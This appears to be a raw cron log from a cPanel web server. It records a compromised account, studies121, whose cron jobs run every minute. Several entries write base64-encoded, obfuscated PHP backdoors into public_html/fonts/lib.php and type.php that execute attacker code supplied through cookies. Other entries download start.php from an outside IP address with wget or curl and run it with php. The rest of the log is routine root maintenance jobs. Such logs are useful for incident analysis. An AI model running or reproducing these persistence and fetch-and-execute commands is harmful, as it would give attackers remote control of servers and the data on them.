Sep 12 18:37:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:37:01 ip-184-168-122-23 CROND[7191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:38:01 ip-184-168-122-23 CROND[7291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:38:01 ip-184-168-122-23 CROND[7293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:38:01 ip-184-168-122-23 CROND[7295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:38:01 ip-184-168-122-23 CROND[7296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:38:01 ip-184-168-122-23 CROND[7294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:39:01 ip-184-168-122-23 CROND[7383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:39:01 ip-184-168-122-23 CROND[7384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:39:01 ip-184-168-122-23 CROND[7385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:39:01 ip-184-168-122-23 CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 18:39:01 ip-184-168-122-23 CROND[7388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:40:01 ip-184-168-122-23 CROND[7495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:40:01 ip-184-168-122-23 CROND[7496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:41:01 ip-184-168-122-23 CROND[7595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:41:01 ip-184-168-122-23 CROND[7596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:41:01 ip-184-168-122-23 CROND[7598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:41:01 ip-184-168-122-23 CROND[7597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:42:02 ip-184-168-122-23 CROND[7769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:42:02 ip-184-168-122-23 CROND[7771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:42:02 ip-184-168-122-23 CROND[7770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:42:02 ip-184-168-122-23 CROND[7768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:42:02 ip-184-168-122-23 CROND[7773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:43:01 ip-184-168-122-23 CROND[7862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:43:01 ip-184-168-122-23 CROND[7866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:43:01 ip-184-168-122-23 CROND[7864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:43:01 ip-184-168-122-23 CROND[7865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:44:01 ip-184-168-122-23 CROND[8098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:44:01 ip-184-168-122-23 CROND[8100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:44:01 ip-184-168-122-23 CROND[8101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:44:01 ip-184-168-122-23 CROND[8102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:44:01 ip-184-168-122-23 CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:45:01 ip-184-168-122-23 CROND[8204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:45:01 ip-184-168-122-23 CROND[8205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:45:01 ip-184-168-122-23 CROND[8206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:45:01 ip-184-168-122-23 CROND[8208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:45:01 ip-184-168-122-23 CROND[8210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:45:01 ip-184-168-122-23 CROND[8211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:46:01 ip-184-168-122-23 CROND[8308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:46:01 ip-184-168-122-23 CROND[8309]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:46:01 ip-184-168-122-23 CROND[8313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:46:01 ip-184-168-122-23 CROND[8312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:46:01 ip-184-168-122-23 CROND[8315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:46:01 ip-184-168-122-23 CROND[8314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:46:01 ip-184-168-122-23 CROND[8316]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 18:47:01 ip-184-168-122-23 CROND[8427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:47:01 ip-184-168-122-23 CROND[8428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:47:01 ip-184-168-122-23 CROND[8429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:47:01 ip-184-168-122-23 CROND[8430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:48:01 ip-184-168-122-23 CROND[8607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:48:01 ip-184-168-122-23 CROND[8609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:48:01 ip-184-168-122-23 CROND[8610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:48:01 ip-184-168-122-23 CROND[8612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:48:01 ip-184-168-122-23 CROND[8611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:49:01 ip-184-168-122-23 CROND[8694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
